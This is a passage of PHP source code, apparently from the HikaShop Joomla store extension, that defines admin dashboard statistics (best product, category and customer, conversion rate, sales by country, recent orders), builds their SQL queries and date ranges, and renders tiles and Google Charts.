					'key' => 'hk_product.product_id AS id',
					'name' => 'hk_product.order_product_name AS
name',
					'value' => 'ROUND(SUM(hk_product.order_product_price
* hk_product.order_product_quantity),2) AS value',
					'counter' => 'COUNT(hk_order.order_id) AS
counter',
				),
				'tables' => array(
					hikashop_table('order_product') . ' AS
hk_product',
					'INNER JOIN ' . hikashop_table('order') . '
AS hk_order ON hk_order.order_id = hk_product.order_id',
				),
				'filters' => array(
					'order_type' => 'hk_order.order_type =
'.$order_type.'',
					'order_status' => ('hk_order.order_status IN
('.implode(',', $valid_order_statuses).')'),
					'order_created' => ($created_status ?
						'hk_order.order_created >= {DATE_START} AND ({DATE_END} <=
0 OR hk_order.order_created <= {DATE_END})' :
						'hk_order.order_invoice_created >= {DATE_START} AND
({DATE_END} <= 0 OR hk_order.order_invoice_created <=
{DATE_END})'),
				),
				'order' => 'value DESC',
				'group' => 'hk_product.product_id',
				'limit' => 1
			)
		);
		$ret['best_category'] = array(
			'slot' => 1,
			'order' => 3,
			'published' => 1,
			'class' => 'hkc-lg-2 hkc-sm-3',
			'label' => JText::_('HIKA_STATS_BEST_CATEGORY'),

			'type' => 'tile',
			'tile' => array(
				'mode' => 'small',
				'image' => 'category',
				'translate' => true,
			),
			'vars' => array(
				'DATE_RANGE' => 'this.month',
			),
			'query' => array(
				'get' => 'object',
				'select' => array(
					'key' => 'hk_category.category_id AS id',
					'name' => 'hk_category.category_name AS name',
					'value' => 'ROUND(SUM(hk_product.order_product_price
* hk_product.order_product_quantity),2) AS value',
					'counter' => 'COUNT(hk_order.order_id) AS
counter',
				),
				'tables' => array(
					hikashop_table('order_product') . ' AS
hk_product',
					'INNER JOIN ' . hikashop_table('order') . '
AS hk_order ON hk_order.order_id = hk_product.order_id',
					'INNER JOIN ' . hikashop_table('product_category')
. ' AS hk_pc ON hk_product.product_id > 0 AND hk_pc.product_id =
hk_product.product_id AND hk_pc.ordering = 1',
					'INNER JOIN ' . hikashop_table('category') .
' AS hk_category ON hk_pc.category_id =
hk_category.category_id',
				),
				'filters' => array(
					'order_type' => 'hk_order.order_type =
'.$order_type.'',
					'order_status' => ('hk_order.order_status IN
('.implode(',', $valid_order_statuses).')'),
					'order_created' => ($created_status ?
						'hk_order.order_created >= {DATE_START} AND ({DATE_END} <=
0 OR hk_order.order_created <= {DATE_END})' :
						'hk_order.order_invoice_created >= {DATE_START} AND
({DATE_END} <= 0 OR hk_order.order_invoice_created <=
{DATE_END})'),
				),
				'order' => 'value DESC',
				'group' => 'hk_category.category_id',
				'limit' => 1
			)
		);
		$ret['best_customer'] = array(
			'slot' => 1,
			'order' => 4,
			'published' => 1,
			'class' => 'hkc-lg-2 hkc-sm-3',
			'label' => JText::_('HIKA_STATS_BEST_CUSTOMER'),

			'type' => 'tile',
			'tile' => array(
				'icon' => array('type' => 'fa',
'value' => 'user'),
				'view' => array(
					'process' => true,
					'value' => 'user&task=edit&cid={ID}',
				),
				'class' => 'small-title',
			),
			'vars' => array(
				'DATE_RANGE' => 'this.month',
			),
			'query' => array(
				'get' => 'object',
				'select' => array(
					'name' => 'juser.name AS name',
					'key' => 'hk_user.user_id AS id',
					'email' => 'hk_user.user_email AS email',
					'value' => 'ROUND(SUM(hk_order.order_full_price),2)
AS value',
				),
				'tables' => array(
					hikashop_table('order') . ' AS hk_order',
					'INNER JOIN ' . hikashop_table('user') . ' AS
hk_user ON hk_user.user_id = hk_order.order_user_id',
					'LEFT JOIN ' . hikashop_table('users', false) .
' AS juser ON hk_user.user_cms_id = juser.id',
				),
				'filters' => array(
					'order_type' => 'hk_order.order_type =
'.$order_type.'',
					'order_status' => ('hk_order.order_status IN
('.implode(',', $valid_order_statuses).')'),
					'order_created' => ($created_status ?
						'hk_order.order_created >= {DATE_START} AND ({DATE_END} <=
0 OR hk_order.order_created <= {DATE_END})' :
						'hk_order.order_invoice_created >= {DATE_START} AND
({DATE_END} <= 0 OR hk_order.order_invoice_created <=
{DATE_END})'),
				),
				'order' => 'value DESC',
				'group' => 'hk_order.order_user_id',
				'limit' => 1
			)
		);
		$ret['conversion_rate'] = array(
			'slot' => 1,
			'order' => 5,
			'published' => 1,
			'class' => 'hkc-lg-2 hkc-sm-3',
			'label' =>
JText::_('HIKA_STATS_CONVERSION_RATE'),

			'format' => 'percentage',
			'type' => 'tile',
			'tile' => array(
				'icon' => array('type' => 'fa',
'value' => 'tachometer fa-tachometer-alt'),
			),
			'vars' => array(
				'DATE_RANGE' => 'this.month',
				'ORDER_STATUSES' => 'IN (' .
implode(',', $valid_order_statuses) . ')'
			),
			'vars-2' => array(
				'DATE_RANGE' => 'this.month',
				'ORDER_STATUSES' => 'IS NOT NULL'
			),
			'query' => array(
				'get' => 'single',
				'select' => array(
					'value' => 'COUNT(hk_order.order_id) AS name',
				),
				'tables' => array(
					hikashop_table('order') . ' AS hk_order'
				),
				'filters' => array(
					'order_type' => 'hk_order.order_type =
'.$order_type.'',
					'order_status' => 'hk_order.order_status
{ORDER_STATUSES}',
					'order_created' => 'hk_order.order_created >=
{DATE_START} AND ({DATE_END} <= 0 OR hk_order.order_created <=
{DATE_END})',
				),
			),
		);

		$ret['geo_sales'] = array(
			'slot' => 2,
			'order' => 1,
			'published' => 1,
			'container' => 1,
			'class' => 'hkc-lg-4 hkc-sm-12',
			'label' => JText::_('HIKA_STATS_GEO_SALES'),

			'type' => 'geo',
			'geo' => array(
				'key' => 'zone',
				'text' => 'value',
			),
			'vars' => array(
				'DATE_RANGE' => 'this.month',
			),
			'query' => array(
				'get' => 'list',
				'select' => array(
					'COUNT(hk_order.order_id) AS value',
					'hk_zone.zone_name_english AS zone'
				),
				'tables' => array(
					hikashop_table('order') . ' AS hk_order ',
					' INNER JOIN ' . hikashop_table('address') .
' AS hk_address ON hk_order.order_shipping_address_id =
hk_address.address_id',
					' INNER JOIN ' . hikashop_table('zone') . '
AS hk_zone ON hk_zone.zone_namekey = hk_address.address_country',
				),
				'filters' => array(
					'order_type' => 'hk_order.order_type =
'.$order_type.'',
					'order_status' => ('hk_order.order_status IN
('.implode(',', $valid_order_statuses).')'),
					'order_created' => ($created_status ?
						'hk_order.order_created >= {DATE_START} AND ({DATE_END} <=
0 OR hk_order.order_created <= {DATE_END})':
						'hk_order.order_invoice_created >= {DATE_START} AND
({DATE_END} <= 0 OR hk_order.order_invoice_created <=
{DATE_END})'),
				),
				'group' => 'hk_address.address_country'
			),
		);

		if(!isset($ret['geo_sales']['label'])) {
			$ret['geo_sales']['label'] =
JText::_('HIKA_UPGRADE_HIKASHOP');
			$ret['geo_sales']['type'] = 'ad';
		}

		$ret['last_orders'] = array(
			'slot' => 2,
			'order' => 2,
			'published' => 1,
			'container' => 1,
			'class' => 'hkc-lg-8 hkc-sm-12',
			'type' => 'dynamic',
			'label' => JText::_('HIKA_STATS_LAST_ORDERS'),
			'vars' => array(
				'COUNTER' => 6
			),
			'prefix' => '<table style="width:100%"
class="table table-striped table-hover
table-bordered"><thead><tr><th>'.JText::_('ORDER_NUMBER').'</th><th>'.JText::_('ORDER_STATUS').'</th><th>'.JText::_('CUSTOMER').'</th><th>'.JText::_('DATE').'</th><th>'.JText::_('PRICE').'</th></thead><tbody>',
			'dynamic' =>
'<tr><td>{order_number:order_link}</td><td>{order_status:order_status}</td><td>{user_email}</td><td>{order_created:date}</td><td>{order_full_price:price}</td></tr>',
			'suffix' => '</tbody></table>',
			'format' => 'text',
			'query' => array(
				'get' => 'list',
				'select' => 'hk_order.*, hk_user.*,
hk_order.order_currency_id as currency',
				'tables' => array(
					hikashop_table('order') . ' AS hk_order',
					'INNER JOIN '.hikashop_table('user').' AS
hk_user ON hk_order.order_user_id = hk_user.user_id'
				),
				'filters' => array(
					'order_type' => 'hk_order.order_type =
'.$order_type.''
				),
				'order' => 'hk_order.order_created DESC',
				'limit' => '{COUNTER}'
			)
		);

		if(!empty($place) && is_string($place) &&
preg_match('#^[_a-zA-Z0-9]+$#', $place)) {
			$blocks = $this->config->get('statistics_'.$place,
null);
			if($blocks !== null) {
				$blocks = explode(',', $blocks);
				$removed = array_diff(array_keys($ret), $blocks);
				foreach($removed as $r) {
					unset($ret[$r]);
				}
			}
		}

		JPluginHelper::importPlugin('hikashop');
		$app = JFactory::getApplication();
		$extra_list =
$app->triggerEvent('onHikashopStatisticPluginList', array(
			array(
				'created' => $created_status,
				'valid' => $valid_order_statuses,
				'offset' => $this->timeoffsetStr,
				'place' => $place
			)
		));
		if(!empty($extra_list)) {
			foreach($extra_list as $v) {
				if(!isset($v['name']))
					continue;
				$k = 'plugin.'.$v['name'];
				$ret[$k] = $v;
			}
		}

		return $ret;
	}

	public function getAjaxData($name, $value) {
		$app = JFactory::getApplication();
		$statistics = array();
		if(hikashop_isClient('administrator'))
			$statistics = $this->getDashboard();

		if(empty($statistics[$name]))
			return false;

		if(empty($statistics[$name]['type']) ||
!in_array($statistics[$name]['type'], array('graph',
'pie', 'geo')))
			return false;

		if($statistics[$name]['type'] == 'graph')
			$dateRange = $this->getDateRangeList(true);
		else
			$dateRange = $this->getDateRangeList();
		if(!isset($dateRange[$value]))
			return false;
		if(empty($statistics[$name]) ||
empty($statistics[$name]['published']))
			return false;

		$stat = $statistics[$name];
		unset($statistics);

		$stat['vars']['DATE_RANGE'] = $value;

		switch($stat['type']) {
			case 'graph':
				list($headerData, $chartData) = $this->processGraphData($stat);
				break;
			case 'pie':
				list($headerData, $chartData) = $this->processPieData($stat);
				break;
			case 'geo':
				list($headerData, $chartData) = $this->processGeoData($stat);
				break;
			default:
				$headerData = array();
				$chartData = array();
				break;
		}

		if($stat['type'] == 'graph' &&
(count($headerData) == 1 || empty($chartData)))
			return '[[],[]]';

		return '['.
			'["' . implode('","', $headerData).
'"]'.
			(empty($chartData) ? '' : ',[') .
			implode('],[', $chartData).
			(empty($chartData) ? '' : ']') .
		']';
	}

	public function setDateRange(&$conf, $mode, $base = 0) {
		$dates = $this->getDates($mode, $base);
		if(isset($conf['vars'])) {
			$conf['vars']['DATE_START'] =
$dates['start'];
			$conf['vars']['DATE_END'] =
$dates['end'];
			if(isset($dates['group']))
				$conf['vars']['DATE_GROUP'] =
$dates['group'];
		} else {
			$conf['DATE_START'] = $dates['start'];
			$conf['DATE_END'] = $dates['end'];
			if(isset($dates['group']))
				$conf['DATE_GROUP'] = $dates['group'];
		}
	}

	public function getDates($mode, $base = 0) {
		$now = explode('-', hikashop_getDate(time(),'m-d-Y'),
3);
		$ret = array('start' => 0, 'end' => -1);

		if(strpos($mode, ':') !== false) {
			list($mode, $group) = explode(':', $mode, 2);
			if(in_array($group, array('day', 'week',
'month', 'year')))
				$ret['group'] = $group;
		}

		$manualProcess = false;
		switch($mode) {
			case '':
			case 'all':
				$ret['start'] = 0;
				$ret['end'] = -1;
				break;
			case 'this.year':
				$ret['start'] = gmmktime(0, 0, 0, 1, 1, $now[2]) -
$this->timeoffset;
				$ret['end'] = gmmktime(23, 59, 59, $now[0], $now[1], $now[2])
- $this->timeoffset;
				break;
			case 'this.month':
				$ret['start'] = gmmktime(0, 0, 0, $now[0], 1, $now[2]) -
$this->timeoffset;
				$ret['end'] = gmmktime(23, 59, 59, $now[0], $now[1], $now[2])
- $this->timeoffset;
				break;
			case 'this.week':
				$ret['start'] = gmmktime(0, 0, 0, $now[0], $now[1], $now[2])
- (date('N')-1)*24*3600 - $this->timeoffset;
				$ret['end'] = gmmktime(23, 59, 59, $now[0], $now[1], $now[2])
- $this->timeoffset;
				break;
			case 'this.day':
				$ret['start'] = gmmktime(0, 0, 0, $now[0], $now[1], $now[2])
- $this->timeoffset;
				$ret['end'] = gmmktime(23, 59, 59, $now[0], $now[1], $now[2])
- $this->timeoffset;
				break;
			case 'past.year':
				$ret['end'] = gmmktime(23, 59, 59, $now[0], $now[1], $now[2])
- $this->timeoffset;
				$ret['start'] = strtotime('-1 year',
$ret['end'])+1;
				break;
			case 'past.month':
				$ret['end'] = gmmktime(23, 59, 59, $now[0], $now[1], $now[2])
- $this->timeoffset;
				$ret['start'] = strtotime('-1 month',
$ret['end'])+1;
				break;
			case 'past.month-1':
				$ret['end'] = gmmktime(23, 59, 59, $now[0], $now[1], $now[2])
- $this->timeoffset;
				$ret['end'] = strtotime('-1 month',
$ret['end'])+1;
				$ret['start'] = strtotime('-1 month',
$ret['end'])+1;
				break;
			case 'past.week':
				$ret['end'] = gmmktime(23, 59, 59, $now[0], $now[1], $now[2])
- $this->timeoffset;
				$ret['start'] = strtotime('-1 week',
$ret['end'])+1;
				break;
			case 'past.day':
				$ret['end'] = time() - $this->timeoffset;
				$ret['start'] = $ret['end'] - 24*3600;
				break;
			case 'previous.year':
				$ret['start'] = gmmktime(0, 0, 0, 1, 1, (int)$now[2]-1) -
$this->timeoffset;
				$ret['end'] = gmmktime(23, 59, 59, 12, 31, (int)$now[2]-1) -
$this->timeoffset;
				break;
			case 'previous.month':
				$ret['end'] = gmmktime(0, 0, 0, $now[0], 1, $now[2]) - 1 -
$this->timeoffset;
				$ret['start'] = strtotime('-1 month',
$ret['end']) + 1;
				break;
			case 'previous.week':
				$ret['end'] = gmmktime(0, 0, 0, $now[0], $now[1], $now[2]) -
(date('N')-1)*24*3600 - 1 - $this->timeoffset;
				$ret['start'] = strtotime('-1 week',
$ret['end']) + 1;
				break;
			case 'previous.day':
				$ret['end'] = gmmktime(0, 0, 0, $now[0], $now[1], $now[2]) -
$this->timeoffset;
				$ret['start'] = $ret['end'] - 24*3600;
				break;
			default:
				$manualProcess = true;
				break;
		}
		if($manualProcess) {

		}
		return $ret;
	}

	public function getDateRangeList($group = false) {
		$periods =
array('this','past','previous');
		$zones =
array('year','month','week','day');

		$ret = array(
			'all' => 'HIKA_PERIOD_ALL'
		);
		if($group === true) {
			$ret = array();
			foreach($zones as $z) {
				$ret['all:'.$z] =
JText::_('HIKA_PERIOD_ALL').'
('.JText::_('HIKA_PERIOD_BY_'.strtoupper($z)).')';
			}
		}

		foreach($periods as $period) {
			foreach($zones as $zone) {
				$ret[$period.'.'.$zone] =
'HIKA_PERIOD_'.strtoupper($period).'_'.strtoupper($zone);

				if($group != true)
					continue;
				$m = $zone;
				foreach($zones as $z) {
					if($z === $m) {
						$m = true;
						continue;
					}
					if($m !== true)
						continue;
					$ret[$period.'.'.$zone.':'.$z] =
JText::_('HIKA_PERIOD_'.strtoupper($period).'_'.strtoupper($zone)).'
('.JText::_('HIKA_PERIOD_BY_'.strtoupper($z)).')';
				}
			}
		}
		return $ret;
	}

	protected function processQuery($queryData, $vars = array(), $limit =
null) {
		if(empty($queryData['get']))
			$queryData['get'] = 'single';

		$select = $queryData['select'];
		if(is_array($select))
			$select = implode(', ', $select);

		$tables = $queryData['tables'];
		if(is_array($tables))
			$tables = implode(' ', $tables);

		$query = 'SELECT ' . $select . ' FROM ' . $tables;

		if(!empty($queryData['filters'])) {
			$query .= ' WHERE (' . implode(') AND (',
$queryData['filters']) . ') ';
		}
		if(!empty($queryData['group']))
			$query .= ' GROUP BY ' .
(is_array($queryData['group']) ? implode(',',
$queryData['group']) : $queryData['group']);
		if(!empty($queryData['order']))
			$query .= ' ORDER BY ' .
(is_array($queryData['order']) ? implode(',',
$queryData['order']) : $queryData['order']);

		if(!empty($vars)) {
			if(isset($vars['DATE_RANGE'])) {
				$this->setDateRange($vars, $vars['DATE_RANGE']);
				$vars['_DATE_RANGE'] = $vars['DATE_RANGE'];
				unset($vars['DATE_RANGE']);
			}
			$keys = array_keys($vars);
			foreach($keys as &$key) { $key = '{'.$key.'}'; }
unset($key);
			$values = array_values($vars);

			$query = str_replace($keys, $values, $query);
			if(isset($queryData['offset']))
				$queryData['offset'] = str_replace($keys, $values,
$queryData['offset']);
			if(isset($queryData['limit']))
				$queryData['limit'] = str_replace($keys, $values,
$queryData['limit']);

			unset($keys);
			unset($values);

			if(!isset($vars['DATE_FORMAT']) &&
isset($vars['DATE_GROUP'])) {
				$dateformat_key = '{DATE_FORMAT}';
				switch($vars['DATE_GROUP']) {
					case 'year':
						$dateformat_value = '%Y';
						break;
					case 'month':
						$dateformat_value = '%Y-%m';
						break;
					case 'week':
						$dateformat_value = '%Y %u';
						break;
					case 'day':
					default:
						$dateformat_value = '%Y-%m-%d';
						break;
				}
				$query = str_replace($dateformat_key, $dateformat_value, $query);
			}
		}

		$offset = 0;
		if(!empty($queryData['offset']))
			$offset = (int)$queryData['offset'];
		if(!empty($queryData['limit']) && $limit === null)
			$limit = (int)$queryData['limit'];
		if($limit === null)
			$limit = -1;
		$this->db->setQuery('SET @@session.time_zone =
\'+00:00\'');
		$this->db->execute();
		$this->db->setQuery($query, $offset, $limit);
		switch($queryData['get']) {
			case 'object':
				$ret = $this->db->loadObject();
				break;
			case 'list':
				$ret = $this->db->loadObjectList();
				break;
			case 'single':
			default:
				$ret = $this->db->loadResult();
				break;
		}
		return $ret;
	}

	protected function initJS($vendor_id = null) {
		static $init = false;
		if($init) return;

		$app = JFactory::getApplication();
		$url = hikashop_completeLink('user&task=reports',
'ajax', false, true);
		if(hikashop_isClient('administrator')) {
			$url = hikashop_completeLink('dashboard&task=reports',
'ajax', false, true);
		}

		$dateRanges = array(
			'data' => array( 'all' => 0, 'year'
=> 1, 'month' => 2, 'week' => 3,
'day' => 4 ),
			'text' => array( 'year' =>
JText::_('HIKA_PERIOD_BY_YEAR'), 'month' =>
JText::_('HIKA_PERIOD_BY_MONTH'), 'week' =>
JText::_('HIKA_PERIOD_BY_WEEK'), 'day' =>
JText::_('HIKA_PERIOD_BY_DAY') )
		);

		$doc = JFactory::getDocument();
		$doc->addScript('https://www.google.com/jsapi');
		$doc->addScriptDeclaration('
if(!window.localPage)
	window.localPage = {};
window.localPage.chartsInit = [];
window.localPage.charts = {};
window.localPage.dateRanges = '.json_encode($dateRanges).';
window.localPage.changeChartData = function(type,id,name,value,el) {
	var chart = window.localPage.charts[id];
	if(!chart) return false;
	var dataValue = value;
	if(type == "graph") {
		if(value.substring(0,1) != ":")
			dataValue = window.localPage.getRangeValue(value);
		else
			dataValue = chart.period + value;
	}
	var url = "'.$url.'",
		postdata =
"chart="+encodeURIComponent(name)+"&value="+encodeURIComponent(dataValue);
	window.Oby.xRequest(url, {mode:"POST",data:postdata},
function(x,p) {
		var d = window.Oby.evalJSON(x.responseText) || false;
		if(!d) return;

		chart.data = google.visualization.arrayToDataTable(d);
		chart.max = (d.length - 1);
		if(type == "graph") {
			chart.options.hAxis.viewWindow.min = 0;
			chart.options.hAxis.viewWindow.max = chart.max;
			chart.period = dataValue.substring(0,
dataValue.indexOf(":"));
			chart.periodGroup = value.substring(value.indexOf(":") + 1);
		}
		chart.chart.draw(chart.data, chart.options);
		window.localPage.changeChartDropText(id, value, dataValue, el);
	});
	return false;
};
window.localPage.changeChartDropText = function(id,value,dataValue,el) {
	if(!el) return;
	if(value.substring(0,1) != ":") {
		var s =
document.getElementById("hikashop_chart_"+id+"_range");
		if(!s) return;
		s.innerHTML = el.innerHTML;

		var p = dataValue.indexOf(":");
		if(p >= 0)
			value = dataValue.substring(p);
	}
	if(value.substring(0,1) == ":") {
		var s =
document.getElementById("hikashop_chart_"+id+"_group");
		if(!s) return;
		s.innerHTML = window.localPage.dateRanges.text[ value.substring(1) ];
	}
};
window.localPage.getRangeValue = function(value) {
	var r = window.localPage.dateRanges, ret = value;
	if(value.indexOf(".") >= 0)
		value = value.substring(value.indexOf(".")+1);
	if(r.data[value] === undefined)
		return ret;
	var v = (r.data[value] + 1);
	for(var k in r.data) {
		if(r.data.hasOwnProperty(k) && r.data[k] === v)
			return ret + ":" + k;
	}
	return ret;
};
window.localPage.refreshGraphs = function() {
	for(var i in window.localPage.charts) {
		if(!window.localPage.charts.hasOwnProperty(i))
			continue;
		var chart = window.localPage.charts[i];
		chart.chart.draw(chart.data, chart.options);
	}
};
google.load("visualization", "1",
{packages:["corechart","geochart"]});
google.setOnLoadCallback(function(){
	for(var i = 0; i < window.localPage.chartsInit.length; i++) {
		var f = window.localPage.chartsInit[i];
		f();
	}
});
jQuery(window).on("resize", function(){
	if(window.localPage.resizeTimer)
		clearTimeout(window.localPage.resizeTimer);
	window.localPage.resizeTimer = setTimeout(window.localPage.refreshGraphs,
250);
});
');
		$init = true;
	}

	public function display($data, $doText = true) {
		if(empty($data['type']))
			$data['type'] = 'text';

		$ret = '';

		if(!empty($data['query']) &&
(!isset($data['value']) || $data['value'] === null)) {
			if(!empty($data['vars'])) {
				$vars = reset($data['vars']);
				if(is_array($vars)) {
					$vars = $data['vars'];
					$ret = array();
					foreach($vars as $v) {
						$data['vars'] = $v;
						$data['value'] = null;
						$ret[] = $this->display($data, false);
					}
					$data['type'] = 'aggreg';
					unset($data['value']);
					$data['value'] = $ret;
				} else
					$data['value'] =
$this->processQuery($data['query'], $data['vars']);
			} else
				$data['value'] =
$this->processQuery($data['query']);
		}

		$ret = '';

		switch($data['type']) {
			case 'dynamic':
				$ret = $this->displayDynamic($data);
				break;
			case 'tile':
				$ret = $this->displayTile($data);
				break;
			case 'graph':
				$ret = $this->displayGraph($data);
				break;
			case 'pie':
				$ret = $this->displayPie($data);
				break;
			case 'geo':
				$ret = $this->displayGeo($data);
				break;
			case 'list':
				$ret = $this->displayList($data);
				break;
			case 'raw':
				$ret = $data['value'];
				break;
			case 'aggreg':
				$sep = '';
				if(!empty($data['separator']))
					$sep = $data['separator'];
				$ret = implode($sep, $data['value']);
				break;
			case 'plugin':
				JPluginHelper::importPlugin('hikashop');
				$app = JFactory::getApplication();
				$ret =
$app->triggerEvent('onHikashopStatisticPluginDisplay',
array($data));
				if(!empty($ret) && is_array($ret)) {
					$arr = $ret;
					$ret = reset($ret);
					if(empty($ret)) {
						while(empty($ret) && !empty($arr)) {
							$ret = array_shift($arr);
						}
					}
					unset($arr);
				}
				break;
			case 'ad':
				$ret = '<div class="hikashop_starter_adv"><a
href="https://www.hikashop.com/"
target="_blank">'
						. '<img class="upgrade_hikashop_starter_adv"
src="'.HIKASHOP_IMAGES.'upgrade_your_hikashop.png"
alt="Upgrade your HikaShop"/>'
					. '</a></div>';
				break;
			case 'text':
			default:
				$ret = $this->getFormatedValue($data['value'],
$data['format']);
				break;
		}

		if($doText) {
			if(!empty($data['prefix']))
				$ret = $data['prefix'] . $ret;
			if(!empty($data['text'])) {
				$tmp = JText::_($data['text']);
				if($tmp != $data['text'])
					$ret = JText::sprintf($data['text'], $ret);
			}
			if(!empty($data['suffix']))
				$ret = $ret . $data['suffix'];
		}

		if(!empty($data['container'])) {
			$ret = '
	<div class="hikashop_panel hikashop_panel_stats">
		<div class="hikashop_panel_heading">'.
$data['label'] .'</div>
		<div
class="hikashop_panel_body">'.$ret.'</div>
	</div>';
		}

		return $ret;
	}

	protected function displayList($data) {
		if(is_object($data['value']))
			$data['value'] = array($data['value']);

		$ret = array();
		foreach($data['value'] as $value) {
			$ret[] = $this->getFormatedValue($value, $data['format']);
		}
		if(count($ret) > 1)
			return '<ul><li>'.
implode('</li><li>', $ret) .
'</li></ul>';
		return reset($ret);
	}

	protected function displayDynamic($data) {
		if(empty($data['value']))
			return '';

		if(is_object($data['value']))
			$data['value'] = array($data['value']);

		$ret = array();
		foreach($data['value'] as $value) {
			$content = $data['dynamic'];
			if(preg_match_all('#{([-:. _A-Z0-9a-z]+)}#U', $content, $out))
{
				foreach($out[1] as $key) {
					if(strpos($key, ':') !== false) {
						list($col, $format) = explode(':', $key, 2);
					} else {
						$col = $key;
						$format = $data['format'];
					}
					if(isset($value->$col))
						$content = str_replace('{'.$key.'}',
$this->getFormatedValue($value->$col, $format, $value), $content);
					else {
						$v = '';
						if(isset($data['vars'][$key]))
							$v = $data['vars'][$key];
						$content = str_replace('{'.$key.'}', $v,
$content);
					}
				}
			}
			$ret[] = $content;
		}
		if(count($ret) > 1) {
			if(!empty($data['prefix']) &&
!empty($data['suffix']))
				return implode("\r\n", $ret);
			return '<ul><li>'.
implode('</li><li>', $ret) .
'</li></ul>';
		}
		return reset($ret);
	}

	protected function displayTile($data) {
		if(!is_array($data['value']))
			$data['value'] = array($data['value']);

		if(isset($data['vars-2'])) {
			$data['value'][] =
$this->processQuery($data['query'],
$data['vars-2']);
		}

		if(isset($data['format']) && $data['format']
== 'percentage' && count($data['value']) == 2)
{
			$a = hikashop_toFloat($data['value'][0]);
			$b = hikashop_toFloat($data['value'][1]);
			$data['value'] = array(0);
			if($b > 0)
				$data['value'] = array( round($a / $b * 100) );
		}

		$d = array();
		foreach($data['value'] as $value) {
			$d[] = $this->getFormatedValue($value, @$data['format']);
		}

		$value = $this->getMergedValue($d, @$data['format']);

		if(!empty($data['tile']['mode']) &&
$data['tile']['mode'] == 'small') {
			$background = '';
			if(!empty($data['tile']['image']) &&
empty($value->image) && !empty($value->id)) {
				$query = 'SELECT file_path FROM #__hikashop_file WHERE file_ref_id
= '.(int)$value->id.' AND file_type = ' .
$this->db->Quote($data['tile']['image']).'
ORDER BY file_ordering ASC LIMIT 1';
				$this->db->setQuery($query);
				$image = $this->db->loadResult();
				if(!empty($image))
					$value->image = $image;
			}
			if(isset($value->image)) {
				$imageHelper = hikashop_get('helper.image');
				$img = $imageHelper->getThumbnail($value->image, array(150,150),
array('default' => true), true);
				$background = '<img src="'.$img->url.'"
alt=""/>';
			} elseif(isset($data['tile']['background'])
&&
$data['tile']['background']['value'] ==
'fa') {
				$background = '<i class="fa
fa-'.$data['tile']['background']['value'].'"></i>';
			}

			if(empty($value->name) &&
isset($data['tile']['name'])) {
				foreach($data['tile']['name'] as $k) {
					if(isset($value->$k) && !empty($value->$k))
						$value->name = $value->$k;
				}
			}
			if(!is_object($value)) {
				$tmp = $value;
				$value = new stdClass;
				$value->name = $tmp;
				unset($tmp);
			}

			if(!empty($data['tile']['translate']))
				$value->name = hikashop_translate($value->name);

			return '
<div class="cpanel-smalltile-block">
	<div
class="cpanel-tile-background">'.$background.'</div>
	<div
class="cpanel-tile-header">'.$data['label'].'</div>
	<div
class="cpanel-tile-name">'.$value->name.'</div>
	<div class="cpanel-tile-details"></div>
</div>
';
		}

		$icon = '';
		$compare = '';
		$footer = '';
		$extra_class = '';
		if(!empty($data['tile']['icon']['type'])
&& $data['tile']['icon']['type'] ==
'fa') {
			$icon = '<i class="fa
fa-'.$data['tile']['icon']['value'].'"></i>';
		}

		if(!empty($data['tile']['view'])) {
			$t = JText::_('HIKA_VIEW_MORE');
			$l = '#';
			if(is_string($data['tile']['view'])) {
				$l = $data['tile']['view'];
			} elseif(is_array($data['tile']['view'])) {
				if(isset($data['tile']['view']['title']))
					$t = $data['tile']['view']['title'];
				if(isset($data['tile']['view']['link']))
					$l = $data['tile']['view']['link'];
				if(!empty($data['tile']['view']['process'])
&&
!empty($data['tile']['view']['value'])) {
					$l = $data['tile']['view']['value'];
					$array = $value;
					if(is_object($value)) {
						$array = get_object_vars($value);
					}
					if(is_array($array)){
						foreach($array as $k => $v) {
							$l = str_replace('{'.strtoupper($k).'}', $v,
$l);
						}
					}
					$l = hikashop_completeLink($l);
				}
			}
			$footer = '<a
href="'.$l.'">'.$t.'</a>';
		}

		$text = $value;
		if(is_object($value)) {
			$text = '';
			if(empty($data['tile']['name']))
				$data['tile']['name'] = array('name');
			if(!is_array($data['tile']['name']))
				$data['tile']['name'] =
array($data['tile']['name']);
			foreach($data['tile']['name'] as $k) {
				if(isset($value->$k) && !empty($value->$k))
					$text = $value->$k;
			}
		}

		if(!empty($data['tile']['class']))
			$extra_class = '
'.trim($data['tile']['class']);

		if(empty($footer))
			$footer = '<div
class="cpanel-tile-footer-empty"></div>';
		else
			$footer = '<div
class="cpanel-tile-footer">'.$footer.'</div>';

		return '
<div class="cpanel-tile-block'.$extra_class.'">
	<div class="cpanel-tile-header">
		'.$data['label'].'
		<span
class="cpanel-right">'.$compare.'</span>
	</div>
	<div class="cpanel-tile-body">
		'.$icon.'
		<h2 class="cpanel-right">'.$text.'</h2>
	</div>
	'.$footer.'
	<div style="clear:both"></div>
</div>';
	}

	protected function displayGraph($data) {
		$this->initJS(@$data['vendor_id']);
		$id = uniqid();

		list($headerData, $chartData) = $this->processGraphData($data);


		$viewport =
',hAxis:{viewWindow:{min:0,max:'.count($chartData).'}}';
		$theme =  ',chartArea:{width:"90%"}';

		$ranges = $this->getDateRangeList();

		$currentRange = isset($data['vars']['DATE_RANGE']) ?
$data['vars']['DATE_RANGE'] :
@$data['vars']['_DATE_RANGE'];
		$currentGroup = 'day';
		if(strpos($currentRange, ':') !== false)
			list($currentRange, $currentGroup) = explode(':',
$currentRange, 2);

		$js = '
window.localPage.chartsInit[window.localPage.chartsInit.length] =
function() {
	var data = google.visualization.arrayToDataTable(['.
		'["' . implode('","', $headerData).
'"]'.
		(empty($chartData) ? '' : ',[') .
		implode('],[', $chartData).
		(empty($chartData) ? '' : ']') .
	']);
	var options =
{legend:{position:"bottom"},focusTarget:"category",animation:{duration:500,easing:"in"}'.$theme.$viewport.'};
	var chart = new
google.visualization.LineChart(document.getElementById("hikashop_chart_'.$id.'_div"));
	chart.draw(data, options);

	window.localPage.charts["'.$id.'"] = {chart: chart,
options:options, data:data, max:'.count($chartData).',
period:"'.$currentRange.'",periodGroup:"'.$currentGroup.'"};
};
';
		unset($chartData);

		$doc = JFactory::getDocument();
		$doc->addScriptDeclaration($js);

		$dropdownHelper = hikashop_get('helper.dropdown');
		$groups =
array('year'=>'','month'=>'','week'=>'','day'=>'');
		foreach($groups as $k => &$v) {
			$v = array(
				'name' =>
JText::_('HIKA_PERIOD_BY_'.strtoupper($k)),
				'link' => '#'.$k,
				'click' => 'return
window.localPage.changeChartData(\'graph\',\''.$id.'\',\''.$data['key'].'\',\':'.$k.'\',
this);'
			);
		}
		unset($v);

		$dropData = array();
		foreach($ranges as $k => $v) {
